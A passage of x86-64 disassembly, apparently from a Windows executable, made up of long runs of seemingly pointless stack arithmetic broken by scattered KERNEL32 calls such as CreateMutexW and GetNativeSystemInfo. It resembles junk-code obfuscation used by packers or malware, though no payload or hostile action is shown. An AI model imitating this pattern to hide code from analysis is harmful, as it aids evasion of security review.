mov word [rcx], ax
lea rax, [rsp + 0x3b8]
mov qword [rsp + 0x7ef0], rax
mov rax, qword [rsp + 0x5aa8]
mov rcx, qword [rsp + 0x2e58]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d50]
mov qword [rcx], rax
mov r9d, 0x41b
xor r8d, r8d
lea rdx, [rsp + 0x5428]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x222c], eax
movsx eax, byte [rsp + 0x1d9]
movsx ecx, byte [rsp + 0x186]
shl eax, cl
mov byte [rsp + 0x1fa], al
lea rax, [rsp + 0x4568]
mov qword [rsp + 0x7ef8], rax
mov rax, qword [rsp + 0x3e30]
mov ecx, dword [rsp + 0x1bec]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x20cc], eax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x7f00], rax
mov rax, qword [rsp + 0x3a10]
movzx ecx, al
mov rax, qword [rsp + 0x5050]
sar rax, cl
mov qword [0x14018be90], rax
mov rax, qword [rsp + 0x7168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11b]
imul eax, ecx
mov rcx, qword [rsp + 0x66f0]
mov byte [rcx], al
lea rax, [rsp + 0x1c40]
mov qword [rsp + 0x7f08], rax
mov rax, qword [rsp + 0x6e30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x76c8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7370]
mov word [rcx], ax
mov rax, qword [rsp + 0x48e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdf4]
sub eax, ecx
mov word [rsp + 0xde4], ax
lea rax, [0x14018bdc0]
mov qword [rsp + 0x7f10], rax
movsx eax, byte [rsp + 0x1f5]
mov rcx, qword [rsp + 0x7c60]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x6220]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2c88]
shr rax, cl
mov qword [rsp + 0x38d0], rax
movsx eax, word [rsp + 0x664]
mov rcx, qword [rsp + 0x4448]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5498]
mov word [rcx], ax
movzx eax, word [rsp + 0xf1c]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14018bf38]
mov word [rcx], ax
mov rax, qword [rsp + 0x7680]
mov rcx, qword [rsp + 0x3e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4648]
mov qword [rcx], rax
lea rax, [rsp + 0x7e38]
mov qword [rsp + 0x7f18], rax
mov rax, qword [rsp + 0x3e40]
mov rcx, qword [rsp + 0x7318]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x35f0], rax
movzx eax, word [0x14018addc]
mov word [rsp + 0xf84], ax
movsx eax, byte [rsp + 0x1cd]
movsx ecx, byte [rsp + 0x1e0]
shl eax, cl
mov rcx, qword [rsp + 0x4088]
mov byte [rcx], al
mov rax, qword [rsp + 0x6798]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6cf0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7be0], rax
lea rax, [0x14018ad34]
mov qword [rsp + 0x7f20], rax
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ea8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x97], al
mov eax, dword [rsp + 0x1dc0]
movzx ecx, al
mov eax, dword [rsp + 0x20fc]
sar eax, cl
mov dword [rsp + 0x1c38], eax
lea rax, [0x14018c000]
mov qword [0x14018c800], rax
mov rax, qword [rsp + 0x6828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x55b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c40]
mov word [rcx], ax
movzx eax, word [rsp + 0xc54]
movzx ecx, word [rsp + 0xd4c]
sub eax, ecx
mov rcx, qword [rsp + 0x4ea8]
mov word [rcx], ax
mov rax, qword [rsp + 0x67c8]
mov rax, qword [rax]
mov qword [rsp + 0x7f28], rax
mov rax, qword [rsp + 0x7988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20a8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d08]
mov qword [rsp + 0x7f30], rax
mov rax, qword [rsp + 0x6708]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1af]
and eax, ecx
mov byte [rsp + 0x20c], al
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0xac4]
mov qword [rsp + 0x7f38], rax
mov rax, qword [rsp + 0x4ed0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd08]
add eax, ecx
mov word [rsp + 0x8b0], ax
mov rax, qword [rsp + 0x6ea0]
mov rax, qword [rax]
mov rcx, qword [0x14018c0c0]
mov qword [rsp + 0x7f40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7f40]
mov rax, qword [rax]
sar rax, cl
mov qword [0x14018c788], rax
mov rax, qword [rsp + 0x75f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc4]
sub eax, ecx
mov rcx, qword [rsp + 0x5650]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ad0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f40], rax
mov rax, qword [rsp + 0x5b28]
mov rcx, qword [rsp + 0x2d90]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7c58]
mov qword [rsp + 0x7f48], rax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x1c2]
shl eax, cl
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x51c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4810]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1b6], al
lea rax, [rsp + 0x2064]
mov qword [rsp + 0x7f50], rax
mov rax, qword [rsp + 0x4d88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14018bdc0]
shr eax, cl
mov rcx, qword [rsp + 0x4ae8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x5c8]
mov word [0x14018c808], ax
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x7f58], rax
mov rax, qword [rsp + 0x6c68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xef8]
add eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4048]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x4858]
mov rcx, qword [rsp + 0x6c50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2eb8], rax
movsx eax, byte [0x14018bdc6]
movsx ecx, byte [rsp + 0x1c7]
add eax, ecx
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
mov rax, qword [rsp + 0x7440]
mov eax, dword [rax]
mov dword [rsp + 0x2278], eax
movsx eax, word [rsp + 0xd20]
mov rcx, qword [rsp + 0x3b00]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf54], ax
lea rax, [rsp + 0x6a8]
mov qword [rsp + 0x7f60], rax
mov rax, qword [rsp + 0x6d60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x61a0]
and rcx, rax
mov rax, rcx
mov qword [0x14018ae28], rax
mov rax, qword [0x14018c050]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x39c8]
sar rax, cl
mov rcx, qword [rsp + 0x54f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x65a0]
mov rcx, qword [rsp + 0x73a8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7570]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5728]
mov qword [rsp + 0x7f68], rax
movzx eax, word [rsp + 0xd28]
movzx ecx, word [rsp + 0xcc8]
sub eax, ecx
mov word [rsp + 0xd1c], ax
lea rax, [rsp + 0x2210]
mov qword [rsp + 0x7f70], rax
movzx eax, byte [rsp + 0x1eb]
movzx ecx, byte [rsp + 0x1be]
and eax, ecx
mov rcx, qword [rsp + 0x4890]
mov byte [rcx], al
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [0x14018acdb]
or eax, ecx
mov byte [rsp + 0x209], al
lea rax, [rsp + 0x70a0]
mov qword [rsp + 0x7f78], rax
mov rax, qword [rsp + 0x4cd8]
mov ecx, dword [rsp + 0x2050]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14018c570], eax
movsx eax, word [rsp + 0x548]
movsx ecx, word [0x14018bfc0]
shl eax, cl
mov rcx, qword [rsp + 0x63c8]
mov word [rcx], ax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x7f80], rax
mov rax, qword [rsp + 0x6da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe68]
add eax, ecx
mov word [rsp + 0xa80], ax
mov rax, qword [rsp + 0x3610]
movzx ecx, al
mov rax, qword [rsp + 0x5388]
sar rax, cl
mov qword [rsp + 0x5540], rax
mov rax, qword [rsp + 0x5790]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f0]
sub eax, ecx
mov byte [rsp + 0xc9], al
mov rax, qword [rsp + 0x4910]
mov ecx, dword [0x14018ad0c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2ef0]
mov qword [rsp + 0x7f88], rax
mov rax, qword [rsp + 0x6e28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4760]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x974], ax
movzx eax, word [rsp + 0xce0]
movzx ecx, word [0x14018c760]
add eax, ecx
mov word [0x14018ad10], ax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x2b18]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x63a0], rax
lea rax, [rsp + 0xd94]
mov qword [rsp + 0x7f90], rax
movzx eax, byte [rsp + 0x20e]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x177], al
lea rax, [rsp + 0x216c]
mov qword [rsp + 0x7f98], rax
movsx eax, byte [rsp + 0x210]
mov rcx, qword [rsp + 0x7c40]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1f0], al
mov rax, qword [rsp + 0x5f98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6690]
mov qword [rsp + 0x7fa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7fa0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1d94], eax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x7b28]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [0x14018bf28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6570]
mov word [rcx], ax
lea rax, [rsp + 0xe9c]
mov qword [0x14018c810], rax
mov rax, qword [rsp + 0x73e0]
mov rax, qword [rax]
mov qword [rsp + 0x7fa8], rax
mov rax, qword [rsp + 0x7c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5ee0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6030], rax
lea rax, [rsp + 0xcb4]
mov qword [rsp + 0x7fb0], rax
movzx eax, word [rsp + 0xcd4]
movzx ecx, word [rsp + 0xd28]
and eax, ecx
mov rcx, qword [rsp + 0x7c68]
mov word [rcx], ax
mov eax, dword [rsp + 0x207c]
mov rcx, qword [rsp + 0x42f8]
mov qword [rsp + 0x7fb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7fb8]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x6088]
mov dword [rcx], eax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0x7fc0], rax
mov rax, qword [rsp + 0x6128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3358]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2e58]
mov qword [rsp + 0x7fc8], rax
movsx eax, word [0x14018c620]
movsx ecx, word [rsp + 0xc84]
add eax, ecx
mov word [0x14018c4d0], ax
movzx eax, word [rsp + 0x558]
movzx ecx, word [rsp + 0xf44]
and eax, ecx
mov rcx, qword [rsp + 0x53c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5d50]
mov rcx, qword [rsp + 0x72e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5210]
mov dword [rcx], eax
lea rax, [rsp + 0x15d]
mov qword [rsp + 0x7fd0], rax
mov rax, qword [rsp + 0x6230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x69b0]
mov qword [rsp + 0x7fd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7fd8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x38a8], rax
mov rax, qword [rsp + 0x5380]
mov rcx, qword [0x14018c4b8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3918], rax
mov eax, dword [rsp + 0x21c4]
movzx ecx, al
mov eax, dword [rsp + 0x1c00]
shl eax, cl
mov dword [rsp + 0x1b6c], eax
lea rax, [rsp + 0x12e]
mov qword [rsp + 0x7fe0], rax
mov rax, qword [rsp + 0x5678]
movsx eax, word [rax]
mov rcx, qword [0x14018c758]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc88], ax
lea rax, [rsp + 0xc94]
mov qword [0x14018c818], rax
mov rax, qword [rsp + 0x39c8]
mov rcx, qword [rsp + 0x7e38]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7e08]
mov qword [rcx], rax
lea rax, [0x14018c6c0]
mov qword [rsp + 0x7fe8], rax
movsx eax, word [rsp + 0xf50]
movsx ecx, word [rsp + 0xb48]
add eax, ecx
mov rcx, qword [rsp + 0x50d0]
mov word [rcx], ax
lea rax, [rsp + 0x3510]
mov qword [rsp + 0x7ff0], rax
mov rax, qword [rsp + 0x5ec8]
mov rcx, qword [0x14018c448]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2ef8], rax
mov rax, qword [rsp + 0x7f10]
mov rcx, qword [rsp + 0x5c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2038], eax
mov rax, qword [rsp + 0x72a0]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
movzx eax, word [rsp + 0xe7c]
movzx ecx, word [0x14018c2c0]
sar eax, cl
mov word [rsp + 0x45c], ax
mov rax, qword [rsp + 0x5700]
mov rcx, qword [rsp + 0x6080]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018be08]
mov qword [rcx], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x7ff8], rax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x8000], rax
mov rax, qword [rsp + 0x51a8]
mov rcx, qword [rsp + 0x4548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4bc8]
mov dword [rcx], eax
movsx eax, word [rsp + 0x554]
movsx ecx, word [rsp + 0x664]
add eax, ecx
mov rcx, qword [rsp + 0x5810]
mov word [rcx], ax
lea rax, [rsp + 0xdc4]
mov qword [rsp + 0x8008], rax
mov rax, qword [rsp + 0x58b0]
mov rcx, qword [rsp + 0x7f48]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1c3c]
mov ecx, dword [rsp + 0x2254]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1da4], eax
movsx eax, byte [rsp + 0x216]
movsx ecx, byte [rsp + 0x1ea]
shl eax, cl
mov rcx, qword [rsp + 0x7518]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x958]
xor eax, ecx
mov word [rsp + 0xeb0], ax
lea rax, [rsp + 0xe3c]
mov qword [0x14018c820], rax
mov rax, qword [rsp + 0x2b60]
mov qword [rsp + 0x8010], rax
mov rax, qword [rsp + 0x6668]
mov rcx, qword [rsp + 0x5f50]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x53d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2d90]
mov qword [rsp + 0x8018], rax
movsx eax, word [rsp + 0xd30]
mov rcx, qword [rsp + 0x58a8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
mov rax, qword [rsp + 0x71d8]
mov rcx, qword [rsp + 0x4318]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cd4], eax
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x45b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x7200]
mov rcx, qword [rsp + 0x3b88]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5120]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a20]
movzx eax, byte [rax]
mov byte [rsp + 0x217], al
mov rax, qword [rsp + 0x77f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4988]
mov qword [rsp + 0x8020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8020]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x6b78]
mov dword [rcx], eax
lea rax, [0x14018c420]
mov qword [0x14018c828], rax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x8028], rax
mov rax, qword [rsp + 0x5f70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x3fd0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x71e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x31f0]
mov rcx, qword [rsp + 0x54a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x33f8], rax
mov rax, qword [rsp + 0x48f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1bb]
sub eax, ecx
mov byte [rsp + 0xcb], al
mov rax, qword [rsp + 0x65b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x77e8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6b00]
mov qword [rcx], rax
mov eax, dword [0x14018ad48]
mov dword [rsp + 0x227c], eax
movsx eax, word [rsp + 0xefc]
mov rcx, qword [rsp + 0x5160]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x66c0]
mov word [rcx], ax
movzx eax, word [rsp + 0x4d8]
movzx ecx, word [rsp + 0xcf8]
xor eax, ecx
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0x7030]
movzx ecx, al
mov rax, qword [0x14018ae10]
shl rax, cl
mov qword [0x14018c218], rax
lea rax, [rsp + 0xf68]
mov qword [rsp + 0x8030], rax
mov rax, qword [0x14018c140]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5388]
sar rax, cl
mov qword [rsp + 0x5728], rax
lea rax, [rsp + 0x3080]
mov qword [rsp + 0x8038], rax
mov rax, qword [rsp + 0x43d0]
mov rcx, qword [rsp + 0x7c58]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x65e0]
mov qword [rcx], rax
mov eax, dword [0x14018ad48]
mov ecx, dword [rsp + 0x1b10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x76b8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2198], eax
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0x8040], rax
movzx eax, byte [rsp + 0x1cc]
movzx ecx, byte [rsp + 0x1eb]
and eax, ecx
mov rcx, qword [rsp + 0x6158]
mov byte [rcx], al
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0x8048], rax
lea rax, [0x14018add8]
mov qword [0x14018c830], rax
movsx eax, word [rsp + 0xf18]
movsx ecx, word [rsp + 0xe20]
add eax, ecx
mov word [rsp + 0xe40], ax
lea rax, [rsp + 0xcf0]
mov qword [rsp + 0x8050], rax
mov rax, qword [rsp + 0x5e58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xca4]
sar eax, cl
mov word [rsp + 0x600], ax
mov rax, qword [rsp + 0x6510]
mov rcx, qword [rsp + 0x3e60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x215]
mov qword [rsp + 0x8058], rax
mov rax, qword [rsp + 0x75c0]
mov rcx, qword [rsp + 0x4708]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d44], eax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movsx eax, word [rsp + 0x8f8]
mov rcx, qword [rsp + 0x52f0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x430], ax
mov rax, qword [rsp + 0x7830]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd8c]
shl eax, cl
mov word [rsp + 0xec8], ax
mov rax, qword [rsp + 0x38d8]
mov rcx, qword [rsp + 0x40b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6fd0]
mov rcx, qword [rsp + 0x7f28]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3820], rax
lea rax, [rsp + 0x50b0]
mov qword [rsp + 0x8060], rax
mov rax, qword [rsp + 0x6048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4aa0]
mov qword [rsp + 0x8068], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8068]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6030], rax
lea rax, [rsp + 0xd54]
mov qword [rsp + 0x8070], rax
mov rax, qword [rsp + 0x7d58]
mov rcx, qword [rsp + 0x5830]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x75e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x58d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ee]
add eax, ecx
mov rcx, qword [rsp + 0x5aa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5780]
mov rax, qword [rax]
mov qword [rsp + 0x8078], rax
mov rax, qword [rsp + 0x7690]
mov eax, dword [rax]
mov ecx, dword [0x14018ad0c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1ca8], eax
movsx eax, byte [rsp + 0x211]
mov rcx, qword [rsp + 0x6238]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14018be98]
mov byte [rcx], al
lea rax, [rsp + 0x7c8]
mov qword [rsp + 0x8080], rax
mov rax, qword [rsp + 0x7600]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5320]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x69c], ax
lea rax, [rsp + 0xae8]
mov qword [rsp + 0x8088], rax
mov rax, qword [rsp + 0x57d0]
mov rcx, qword [rsp + 0x6a80]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7590]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2138]
movzx ecx, al
mov eax, dword [rsp + 0x1be4]
shr eax, cl
mov rcx, qword [rsp + 0x5768]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x8090], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x8098], rax
mov rax, qword [rsp + 0x6220]
mov rcx, qword [rsp + 0x6578]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3c98]
mov qword [rcx], rax
mov rax, qword [0x14018c6d8]
movzx eax, word [rax]
mov word [rsp + 0xf88], ax
lea rax, [rsp + 0xf58]
mov qword [0x14018c838], rax
mov rax, qword [rsp + 0x6dc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x45c0], rax
mov rax, qword [0x14018c4c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x62d8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8088]
mov word [rcx], ax
mov rax, qword [rsp + 0x5eb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7898]
mov qword [rsp + 0x80a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1c1c], eax
movzx eax, byte [rsp + 0x1ee]
movzx ecx, byte [0x14018acda]
xor eax, ecx
mov byte [rsp + 0x1b3], al
lea rax, [rsp + 0x2260]
mov qword [rsp + 0x80a8], rax
mov rax, qword [rsp + 0x6238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3f30]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5370]
mov byte [rcx], al
mov rax, qword [0x14018be10]
mov rcx, qword [rsp + 0x2e78]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e88]
mov qword [rcx], rax
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x80b0], rax
lea rax, [rsp + 0xaec]
mov qword [0x14018c840], rax
mov rax, qword [rsp + 0x2f58]
mov rcx, qword [rsp + 0x5880]
mov qword [rsp + 0x80b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80b8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5928]
mov qword [rcx], rax
lea rax, [rsp + 0x42d8]
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0x77b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xed4]
add eax, ecx
mov rcx, qword [rsp + 0x5640]
mov word [rcx], ax
mov rax, qword [rsp + 0x6fc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x7bc], ax
lea rcx, [rsp + 0x15848]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2014], eax
mov rax, qword [rsp + 0x2b40]
mov qword [rsp + 0x80c8], rax
mov rax, qword [rsp + 0x4510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
add eax, ecx
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x4480]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1afc], eax
mov rax, qword [rsp + 0x39b8]
mov rcx, qword [rsp + 0x7280]
mov qword [rsp + 0x80d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x80d0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5cb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
and eax, ecx
mov word [0x14018ae04], ax
movzx eax, word [rsp + 0xe30]
mov word [rsp + 0xf8c], ax
movzx ecx, word [rsp + 0xe04]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x5148]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20d4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ed]
shl eax, cl
mov byte [rsp + 0x166], al
lea rax, [rsp + 0x2e30]
mov qword [rsp + 0x80d8], rax
mov rax, qword [rsp + 0x4720]
mov rcx, qword [rsp + 0x5440]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4a40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7018]
mov rax, qword [rax]
mov qword [rsp + 0x80e0], rax
mov rax, qword [rsp + 0x3fc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e00]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x109], al
mov rax, qword [rsp + 0x4828]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3fa8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
movzx eax, word [rsp + 0xde0]
movzx ecx, word [rsp + 0x45c]
and eax, ecx
mov rcx, qword [0x14018c060]
mov word [rcx], ax
lea rax, [rsp + 0x7648]
mov qword [rsp + 0x80e8], rax
